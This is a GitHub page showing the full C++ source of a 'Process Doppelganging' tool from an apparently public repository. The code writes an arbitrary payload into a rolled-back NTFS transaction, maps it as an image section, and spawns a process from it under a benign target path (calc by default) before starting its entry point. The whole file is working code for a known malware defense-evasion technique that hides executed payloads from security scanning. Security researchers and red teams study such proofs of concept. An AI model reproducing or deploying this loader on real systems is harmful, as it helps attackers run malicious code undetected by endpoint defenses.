-
Notifications
You must be signed in to change notification settings - Fork 117
/
main.cpp
233 lines (209 loc) · 6.56 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#include <Windows.h>
#include <KtmW32.h>
#include <iostream>
#include <stdio.h>
#include "ntddk.h"
#include "ntdll_undoc.h"
#include "util.h"
#include "pe_hdrs_helper.h"
#include "process_env.h"
#pragma comment(lib, "KtmW32.lib")
#pragma comment(lib, "Ntdll.lib")
#define PAGE_SIZE 0x1000
HANDLE make_transacted_section(BYTE* payloadBuf, DWORD payloadSize)
{
DWORD options, isolationLvl, isolationFlags, timeout;
options = isolationLvl = isolationFlags = timeout = 0;
HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transaction!" << std::endl;
return INVALID_HANDLE_VALUE;
}
wchar_t dummy_name[MAX_PATH] = { 0 };
wchar_t temp_path[MAX_PATH] = { 0 };
DWORD size = GetTempPathW(MAX_PATH, temp_path);
GetTempFileNameW(temp_path, L"TH", 0, dummy_name);
HANDLE hTransactedWriter = CreateFileTransactedW(dummy_name,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL
);
if (hTransactedWriter == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
DWORD writtenLen = 0;
if (!WriteFile(hTransactedWriter, payloadBuf, payloadSize, &writtenLen, NULL)) {
std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
CloseHandle(hTransactedWriter);
hTransactedWriter = nullptr;
HANDLE hTransactedReader = CreateFileTransactedW(dummy_name,
GENERIC_READ,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL
);
if (hTransactedReader == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open transacted file: " << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
SECTION_MAP_EXECUTE,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedReader
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl;
return INVALID_HANDLE_VALUE;
}
CloseHandle(hTransactedReader);
hTransactedReader = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {
std::cerr << "RollbackTransaction failed: " << std::hex << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
CloseHandle(hTransaction);
hTransaction = nullptr;
return hSection;
}
bool process_doppel(wchar_t* targetPath, BYTE* payloadBuf, DWORD payloadSize)
{
HANDLE hSection = make_transacted_section(payloadBuf, payloadSize);
if (!hSection || hSection == INVALID_HANDLE_VALUE) {
return false;
}
HANDLE hProcess = nullptr;
NTSTATUS status = NtCreateProcessEx(
&hProcess, //ProcessHandle
PROCESS_ALL_ACCESS, //DesiredAccess
NULL, //ObjectAttributes
NtCurrentProcess(), //ParentProcess
PS_INHERIT_HANDLES, //Flags
hSection, //sectionHandle
NULL, //DebugPort
NULL, //ExceptionPort
FALSE //InJob
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateProcessEx failed! Status: " << std::hex << status << std::endl;
if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) {
std::cerr << "[!] The payload has mismatching bitness!" << std::endl;
}
return false;
}
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pi,
sizeof(PROCESS_BASIC_INFORMATION),
&ReturnLength
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtQueryInformationProcess failed: " << std::hex << status << std::endl;
return false;
}
PEB peb_copy = { 0 };
if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
return false;
}
ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress;
#ifdef _DEBUG
std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl;
#endif
DWORD payload_ep = get_entry_point_rva(payloadBuf);
ULONGLONG procEntry = payload_ep + imageBase;
if (!setup_process_parameters(hProcess, pi, targetPath)) {
std::cerr << "Parameters setup failed" << std::endl;
return false;
}
std::cout << "[+] Process created! Pid = " << std::dec << GetProcessId(hProcess) << "\n";
#ifdef _DEBUG
std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl;
#endif
HANDLE hThread = NULL;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE) procEntry,
NULL,
FALSE,
0,
0,
0,
NULL
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateThreadEx failed: " << std::hex << status << std::endl;
return false;
}
return true;
}
int wmain(int argc, wchar_t *argv[])
{
#ifdef _WIN64
const bool is32bit = false;
#else
const bool is32bit = true;
#endif
if (argc < 2) {
std::cout << "Process Doppelganging (";
if (is32bit) std::cout << "32bit";
else std::cout << "64bit";
std::cout << ")\n";
std::cout << "params: <payload path> [*target path]\n" << std::endl;
std::cout << "* - optional" << std::endl;
system("pause");
return 0;
}
if (init_ntdll_func() == false) {
return -1;
}
wchar_t defaultTarget[MAX_PATH] = { 0 };
get_calc_path(defaultTarget, MAX_PATH, is32bit);
wchar_t *targetPath = defaultTarget;
if (argc >= 3) {
targetPath = argv[2];
}
wchar_t *payloadPath = argv[1];
size_t payloadSize = 0;
BYTE* payloadBuf = buffer_payload(payloadPath, payloadSize);
if (payloadBuf == NULL) {
std::cerr << "Cannot read payload!" << std::endl;
return -1;
}
bool is_ok = process_doppel(targetPath, payloadBuf, (DWORD) payloadSize);
free_buffer(payloadBuf, payloadSize);
if (is_ok) {
std::cerr << "[+] Done!" << std::endl;
} else {
std::cerr << "[-] Failed!" << std::endl;
#ifdef _DEBUG
system("pause");
#endif
return -1;
}
#ifdef _DEBUG
system("pause");
#endif
return 0;
}